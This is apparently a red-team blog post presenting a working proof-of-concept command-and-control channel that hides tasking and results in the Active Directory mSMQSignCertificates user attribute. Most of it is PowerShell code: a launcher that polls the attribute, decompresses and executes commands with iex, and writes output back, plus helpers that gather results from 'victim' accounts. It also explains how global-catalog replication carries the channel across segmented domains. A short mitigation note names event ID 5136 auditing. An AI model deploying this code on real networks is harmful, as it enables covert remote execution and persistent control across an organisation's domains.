‘Exotic’ command and control (C2) channels always interest me. As defenses start to get more sophisticated, standard channels that have been stealthy before (like DNS) may start to lose their efficacy. I’m always on the lookout for non-obvious, one-way (or ideally two-way) communication methods. This post will cover a proof of concept for an internal C2 approach that uses standard Active Directory object properties in a default domain setup.
Active Directory Property Sets
This dawned on me when reviewing access control list entry information during training prep. In a default domain setup, there is a set of ACLs for user objects that apply to the user itself, defined by the ‘NT AUTHORITY\SELF’ IdentityReference. If you want to check these out for a sample domain, you can run the following PowerView command:
PS C:\Users\harmj0y\Desktop> Get-NetUser USER | Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -eq 'NT AUTHORITY\SELF'}
Here’s an interesting entry:
So all users are able to write read and write to their own “Personal-Information” in Active Directory. This is what’s known as a property set in AD, which were created to group specific common properties in order to reduce storage requirements on the Active Directory database. Unfortunately the material on that link has been archived, but if you download the document, page 8213 has more information on property sets in general, and this MSDN page breaks out the members of the “Personal-Information” property set.
Now let’s see which properties can hold the most data by examining the schema for the ‘user’ object in this domain:
[DirectoryServices.ActiveDirectory.ActiveDirectorySchema]::GetCurrentSchema().FindClass('user').optionalproperties | select name,rangeupper | ?{$_.RangeUpper} | Sort-Object -Descending -Property rangeupper | Select -First 10
The above query will list ALL properties for a generic ‘user’ object given the current domain schema, but not all of these properties are self-writable for a user. We want to choose the property with the largest storage limit that is also in ‘Personal Information’ property set, which will give us the most flexibility with our communication channel. The mSMQSignCertificates field is interesting, as it has a 1MB upper size limit and meets all of our qualifications. Since every user can edit the mSMQSignCertificates property for their own user object, we have a nice 1MB two-way data channel (mSMQSignCertificatesMig is also interesting but not a member of ‘Personal Information’, so it’s not quite what we need at this point).
Now what’s the best way to take advantage of this?
Weaponization
The use of mSMQSignCertificates gives us a one-to-many broadcast approach. One user changes their property field while other users continually query for that world-readable information, and then report results back through their own mSMQSignCertificates field. This two-way 1MB channel is stored and propagated by Active Directory itself, which lends a few advantages. We never have to send packets directly to targets, and with some tweaking this should get around some network segmentation setups (see the Bending Traffic Around Network Boundaries section below for caveats and more details).
The proof of concept code below is hosted on this gist:
#Requires -Version 2 function New-ADPayload { <# .SYNOPSIS Stores PowerShell logic in the mSMQSignCertificates of the specified -TriggerAccount and generates a one-line launcher. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Takes a script block or PowerShell .ps1 file, compresses the data using IO.Compression.DeflateStream, and stores the resulting bytes as a base64-encoded string in the mSMQSignCertificates field of the specified -TriggerAccount, defaulting to the current user. Also generates a one-line launcher that checks for data in mSMQSignCertificates of the specified user on a timed interval, executing logic if it exists and storing the results in mSMQSignCertificates for the current user. .PARAMETER ScriptBlock Script block to store in the mSMQSignCertificates field for the specified user. .PARAMETER Path Path of a PowerShell .ps1 script to store in the mSMQSignCertificates field for the specified user. .PARAMETER TriggerAccount The user account to store the compressed logic in, defaults to the current user ([Environment]::UserName). Also accepts distinguishedname syntax (e.g. 'CN=harmj0y,CN=Users,DC=testlab,DC=local'). .PARAMETER SleepSeconds The number of seconds to sleep between checks for the mSMQSignCertificates property, default of 60 seconds. .EXAMPLE PS C:\> New-ADPayload -Path C:\Temp\malicious.ps1 Store a malicious PowerShell script into the mSMQSignCertificates property for the current user and output the launcher code in a custom object. .EXAMPLE PS C:\> New-ADPayload -ScriptBlock {gci C:\} -Verbose Store the specified scriptblock into the mSMQSignCertificates property for the current user and output the launcher code in a custom object. .EXAMPLE PS C:\> {gci C:\} | New-ADPayload Store the specified scriptblock into the mSMQSignCertificates property for the current user and output the launcher code in a custom object. .EXAMPLE PS C:\> New-ADPayload -ScriptBlock {gci C:\Users\} -TriggerAccount mnelson -SleepSeconds 300 -Verbose Store the specified scriptblock into the mSMQSignCertificates property for 'mnelson' user and output the launcher code (utilizing a 5 minute sleep internval instead of 60 seconds) in a custom object. #> [CmdletBinding(DefaultParameterSetName = 'ScriptBlock')] Param ( [Parameter(ParameterSetName = 'ScriptBlock', Position = 0, Mandatory = $True, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [ScriptBlock] $ScriptBlock, [Parameter(ParameterSetName = 'FilePath', Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] [ValidateScript({Test-Path -Path $_ })] [Alias('FilePath', 'FullName')] [String] $Path, [Parameter(Position = 1)] [ValidateNotNullOrEmpty()] [String] $TriggerAccount = [Environment]::UserName, [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [Int] $SleepSeconds = 60 ) PROCESS { # get the raw bytes for the logic to store if($PSBoundParameters['Path']) { try { $Null = Get-ChildItem -Path $Path -ErrorAction Stop $ScriptBytes = [IO.File]::ReadAllBytes((Resolve-Path -Path $Path)) } catch { throw "Error reading byte from file: $Path" } } else { $ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($ScriptBlock) } # compress the data using DeflateStream $CompressedStream = New-Object IO.MemoryStream $DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) $DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) $DeflateStream.Dispose() $CompressedScriptBytes = $CompressedStream.ToArray() $CompressedStream.Dispose() $EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) $Searcher = [adsisearcher]'' if($TriggerAccount.Contains(',')) { $Searcher.Filter = "(distinguishedname=$TriggerAccount)" } else { $Searcher.Filter = "(samaccountname=$TriggerAccount)" } $Searcher.CacheResults = $False $User = $Searcher.FindOne() # grab the user object we're storing the trigger payload in if($User) { try { $UserEntry = $User.GetDirectoryEntry() $UserDN = $User.Properties.distinguishedname[0] $Null = $UserEntry.Put('mSMQSignCertificates', $EncodedCompressedScript) $Null = $UserEntry.SetInfo() Write-Verbose "Payload stored in 'mSMQSignCertificates' parameter for $UserDN" <# The expanded trigger logic: sal a New-Object; $DC=([ADSI]'LDAP://RootDSE').dnshostname; $OC=''; # original command while($True) { Start-Sleep $SleepSeconds; $S=[adsisearcher][adsi]"GC://$DC"; $S.Filter="(&(distinguishedname=$UserDN)(mSMQSignCertificates=*))"; $S.CacheResults=$False; $U=$S.FindOne(); if(!$u){continue}; $C=[System.Text.Encoding]::ASCII.GetString($u.properties.msmqsigncertificates[0]); # if there's a new tasking command if($C -and ($C -ne '') -and ($C -ne $OC)){ $OC=$C; # base64-decode/decompress the command and trigger it $SB=([Text.Encoding]::ASCII).GetBytes($(iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($C),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-String)); $CS=a IO.MemoryStream; # compress/base64-encde the results $DS=a IO.Compression.DeflateStream($CS,[IO.Compression.CompressionMode]::Compress); $DS.Write($SB,0,$SB.Length);$DS.Dispose();$CS.Dispose();$R2 = [Convert]::ToBase64String($CS.ToArray()); # current user $CU=([adsisearcher]"(samaccountname=$([Environment]::UserName))").FindOne().GetDirectoryEntry(); # put the results in the current user's 'mSMQSignCertificates' field $CU.Put('mSMQSignCertificates',$R2);$CU.SetInfo(); } } #> $TriggerScript = "sal a New-Object;`$DC=([ADSI]'LDAP://RootDSE').dnshostname;`$OC='';while(`$True) {Start-Sleep $SleepSeconds;`$S=[adsisearcher][adsi]`"GC://`$DC`";`$S.Filter=`"(&(distinguishedname=$UserDN)(mSMQSignCertificates=*))`";`$S.CacheResults=`$False;`$U=`$S.FindOne();if(!`$u){continue};`$C=[System.Text.Encoding]::ASCII.GetString(`$u.properties.msmqsigncertificates[0]);if(`$C -and (`$C -ne '') -and (`$C -ne `$OC)){`$OC=`$C;`$SB=([Text.Encoding]::ASCII).GetBytes(`$(iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`$C),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | Out-String));`$CS=a IO.MemoryStream;`$DS=a IO.Compression.DeflateStream(`$CS,[IO.Compression.CompressionMode]::Compress);`$DS.Write(`$SB,0,`$SB.Length);`$DS.Dispose();`$CS.Dispose();`$R2 = [Convert]::ToBase64String(`$CS.ToArray());`$CU=([adsisearcher]`"(samaccountname=`$([Environment]::UserName))`").FindOne().GetDirectoryEntry();`$CU.Put('mSMQSignCertificates',`$R2);`$CU.SetInfo();}}" New-Object -TypeName PSObject -Property @{ TriggerAccount = $UserDN EncodedPayload = $EncodedCompressedScript TriggerScript = $TriggerScript SleepSeconds = $SleepSeconds } } catch { Write-Error "Error setting mSMQSignCertificates for samaccountname: '$TriggerAccount' : $_" } } else { Write-Error "Error finding samaccountname '$TriggerAccount' : $_" } } } function Get-ADPayload { <# .SYNOPSIS Retrieves the script payload stored in the mSMQSignCertificates of the specified -TriggerAccount. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Retrieves the script payload stored in the mSMQSignCertificates of the specified -TriggerAccount, base64-decodes and decompresses the logic, outputting everything as a custom PS object. For users in a foreign domain, use "user@domain.com" syntax. .PARAMETER TriggerAccount The user account to store the compressed logic in, defaults to the current user ([Environment]::UserName). Also accepts distinguishedname syntax (e.g. 'CN=harmj0y,CN=Users,DC=testlab,DC=local'). .EXAMPLE PS C:\> Get-ADPayload TriggerAccount Payload EncodedPayload -------------- ------- -------------- CN=harmj0y,CN=Users,DC=tes... dir C:\ 7b0HYBxJliUmL23Ke39K9UrX4H... .EXAMPLE PS C:\> Get-ADPayload -TriggerAccount mnelson TriggerAccount Payload EncodedPayload -------------- ------- -------------- CN=mnelson,CN=Users,DC=tes... dir C:\ 7b0HYBxJliUmL23Ke39K9UrX4H... .EXAMPLE PS C:\> 'CN=harmj0y,CN=Users,DC=testlab,DC=local' | Get-ADPayload TriggerAccount Payload EncodedPayload -------------- ------- -------------- CN=harmj0y,CN=Users,DC=tes... dir C:\ 7b0HYBxJliUmL23Ke39K9UrX4H... #> [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $TriggerAccount = [Environment]::UserName ) PROCESS { if($PSBoundParameters['TriggerAccount']) { # get this machine's logon domain controller $GlobalCatalog = ([ADSI]'LDAP://RootDSE').dnshostname $Searcher = [adsisearcher][adsi]"GC://$GlobalCatalog" Write-Verbose "Using the global catalog at GC://$($GlobalCatalog)" } else { # if using the current user, just search the current domain $Searcher = [adsisearcher]'' } if($TriggerAccount.Contains(',')) { $Searcher.Filter = "(distinguishedname=$TriggerAccount)" } else { $Searcher.Filter = "(samaccountname=$TriggerAccount)" } $Searcher.CacheResults = $False $User = $Searcher.FindOne() if($User) { try { if($User.properties.msmqsigncertificates) { $RawCommand = [System.Text.Encoding]::ASCII.GetString($User.properties.msmqsigncertificates[0]) $Payload = (New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($RawCommand),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() New-Object -TypeName PSObject -Property @{ TriggerAccount = $User.properties.distinguishedname[0] EncodedPayload = $RawCommand Payload = $Payload } } else { Write-Verbose "No payload stored for $TriggerAccount" } } catch { Write-Error "Error retrieving mSMQSignCertificates for samaccountname '$TriggerAccount' : $_" } } else { Write-Error "Error finding samaccountname '$TriggerAccount' : $_" } } } function Remove-ADPayload { <# .SYNOPSIS Removes the script payload stored in the mSMQSignCertificates of the specified -TriggerAccount. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Removes the script payload stored in the mSMQSignCertificates of the specified -TriggerAccount. .PARAMETER TriggerAccount The user account to store the remove the trigger from, defaults to the current user ([Environment]::UserName). Also accepts distinguishedname syntax (e.g. 'CN=harmj0y,CN=Users,DC=testlab,DC=local'). .EXAMPLE PS C:\> Remove-ADPayload Removes the payload stored for the current user. .EXAMPLE PS C:\> Remove-ADPayload -TriggerAccount mnelson Removes the payload stored for the 'mnelson' user. .EXAMPLE PS C:\> $Payload = Get-ADPayload PS C:\> $Payload | Remove-ADPayload Retrieve the AD payload for the current user and then remove it. .EXAMPLE PS C:\> $Payload = {gci C:\} | New-ADPayload PS C:\> $Payload | Remove-ADPayload Create a new AD payload and then remove it. #> [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [Alias('cn', 'username')] [String] $TriggerAccount = [Environment]::UserName ) PROCESS { $Searcher = [adsisearcher]'' if($TriggerAccount.Contains(',')) { $Searcher.Filter = "(distinguishedname=$TriggerAccount)" } else { $Searcher.Filter = "(samaccountname=$TriggerAccount)" } $Searcher.CacheResults = $False $User = $Searcher.FindOne() if($User) { try { $UserEntry = $User.GetDirectoryEntry() # weird way to clear the entry $UserEntry.PutEx(1, 'mSMQSignCertificates', 0) $UserEntry.SetInfo() Write-Verbose "Removed mSMQSignCertificates property for '$($User.properties.distinguishedname[0])" } catch { Write-Error "Error retrieving mSMQSignCertificates for samaccountname '$($User.properties.distinguishedname[0])' : $_" } } else { Write-Error "Error finding samaccountname '$TriggerAccount' : $_" } } } function Get-ADPayloadResult { <# .SYNOPSIS Retrieves the results of any clients who executed the broadcast logic from New-ADPayload. Author: @harmj0y License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Queries all users EXCEPT the -TriggerAccount used to broadcast the script logic (default of [Environment]::UserName), extracts out the compressed logic and displays the per-user results. If a -TriggerAccount value is specified, the global catalog is searched for all results (instead of just the current domain)/ .PARAMETER TriggerAccount The user account used to store the broadcast trigger, defaults to the current user. Also accepts distinguishedname syntax (e.g. 'CN=harmj0y,CN=Users,DC=testlab,DC=local'). .EXAMPLE PS C:\> Get-ADPayloadResult | fl TriggerAccount : harmj0y Results : Directory: C:\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 7/13/2009 8:20 PM PerfLogs d-r-- 8/9/2016 11:07 AM Program Files d-r-- 7/13/2009 10:08 PM Program Files (x86) d-r-- 8/12/2016 11:49 AM Users d---- 8/9/2016 11:48 AM Windows VictimAccount : CN=Justin Warner,CN=Users,DC=testlab,DC=local Gathers results from all users (except the current user) with mSMQSignCertificates set. .EXAMPLE PS C:\> Get-ADPayloadResult -Verbose -TriggerAccount harmj0y VERBOSE: Using the global catalog at GC://PRIMARY.testlab.local TriggerAccount Results VictimAccount -------------- ------- ------------- harmj0y ... CN=Justin Warner,CN=Users,... harmj0y ... CN=user1,CN=Users,DC=dev,D... Gathers results from all users (except 'harmj0y') with mSMQSignCertificates set by searching the global catalog. #> [CmdletBinding()] Param ( [Parameter(ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $TriggerAccount = [Environment]::UserName ) PROCESS { if($PSBoundParameters['TriggerAccount']) { # get this machine's logon domain controller $GlobalCatalog = ([ADSI]'LDAP://RootDSE').dnshostname $Searcher = [adsisearcher][adsi]"GC://$GlobalCatalog" Write-Verbose "Using the global catalog at GC://$($GlobalCatalog)" } else { # if using the current user, just search the current domain $Searcher = [adsisearcher]'' } if($TriggerAccount.Contains(',')) { $Searcher.Filter = "(&(!distinguishedname=$TriggerAccount)(mSMQSignCertificates=*))" } else { $Searcher.Filter = "(&(!samaccountname=$TriggerAccount)(mSMQSignCertificates=*))" } $Searcher.CacheResults = $False ForEach($User in $Searcher.FindAll()) { try { $Raw = [System.Text.Encoding]::ASCII.GetString($User.properties.msmqsigncertificates[0]) $Results = (New-Object IO.StreamReader((New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($([System.Text.Encoding]::ASCII.GetString($User.properties.msmqsigncertificates[0]))),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() New-Object -TypeName PSObject -Property @{ TriggerAccount = $TriggerAccount VictimAccount = $User.properties.distinguishedname[0] Results = $Results } } catch { Write-Error "Error retrieving results from 'mSMQSignCertificates': $_" } } } }
Use New-ADPayload to register a new broadcast trigger for the current (or specified) user and output a one-line launcher in a custom PSObject. This launcher is usable from any user logged on anywhere in the forest (more on this at the end of the post). All code taskings and results are compressed using .NET’s [IO.Compression.DeflateStream] in order to save on space, and then base64’ed before being stored in the mSMQSignCertificates property of the target user.
After the TriggerScript logic is launched on a target host, use Get-ADPayloadResult to query all users EXCEPT the -TriggerAccount used to broadcast the script logic (default of [Environment]::UserName), extract out the compressed data, and display the per-user results.
Get-ADPayload will retrieve any payload stored in mSMQSignCertificates for the given -TriggerAccount (defaulting to the current user) and Remove-ADPayload will remove the script payload:
Bending Traffic Around Network Boundaries
As I mentioned briefly, one of the coolest side effects of this approach is that you can get around some network segmentation setups, assuming that the broadcast user and victim user are in the same forest. While I’m not going to go deep into domain trusts, I’ll cover a few quick points. Check out Sean Metcalf‘s 2016 BlackHat/DEF CON “Beyond the MCSE*” presentations for more information.
An Active Directory global catalog is a, “a domain controller that stores a full copy of all objects in the directory for its host domain and a partial, read-only copy of all objects for all other domains in the forest“. Not all object properties are replicated, but rather only properties in the “partial attribute set” defined in the domain schema. We can enumerate all the schema objects by using the “(isMemberOfPartialAttributeSet=TRUE)” LDAP filter, for example using PowerView:
Get-ADObject -ADSPath "CN=Schema,CN=Configuration,DC=testlab,DC=local" -Filter "(isMemberOfPartialAttributeSet=TRUE)" | Select name
And luckily for us, the mSMQSignCertificates field is included in the partial attribute set for the default schema! This is also documented by Microsoft here.
Any time we modify the mSMQSignCertificates field for a user, that data should propagate to all copies of the global catalog in the forest. So even if our trigger or victim users can’t reach each others’ domains directly due to proper network segmentation, as long as the global catalog is allowed to replicate, we have a basic two-way channel between any two users in a forest (as long as each user can reach their normal domain controller/global catalog).
We can read our ‘broadcast’ traffic through the global catalog, but we can’t write to attributes using this method; overall we don’t care since the default behavior is for each user to modify their own mSMQSignCertificates in their current domain. We’re also at the mercy of the replication speed of the global catalog, so while this channel is reasonably sized (1MB), it’s not going to be practical for interactive communications.
For the proof of concept code in this post, the TriggerScript generated by New-ADPayload will automatically query the victim’s global catalog for the trigger account. Get-ADPayload and Get-ADPayloadResult by default will query only the current domain, unless a -TriggerAccount X argument is passed, in which case the global catalog is searched. The following screenshot shows results from users in two domains in the forest, where the machine each user is currently on is explicitly disallowed from direct communication with the foreign domain controller:
As far as defensive mitigations go, Carlos Perez pointed me to the “Audit Directory Service Changes” AD policy. With this auditing policy enabled, changes to an active directory object will produce an event with ID 5136, meaning “a directory service object was modified”. This should let you track the modifications of object fields like mSMQSignCertificates. There’s more information on this event ID in this article.
As a last note, the proof of concept code doesn’t implement any encryption (though this would be relatively simple), so I wouldn’t recommend using it in its unmodified state on engagements.
Have fun :D
Pingback: Active Directory as a C2 (Command & Control) – Akijosberry
Pingback: ADIDNS Revisited - WPAD, GQBL, and More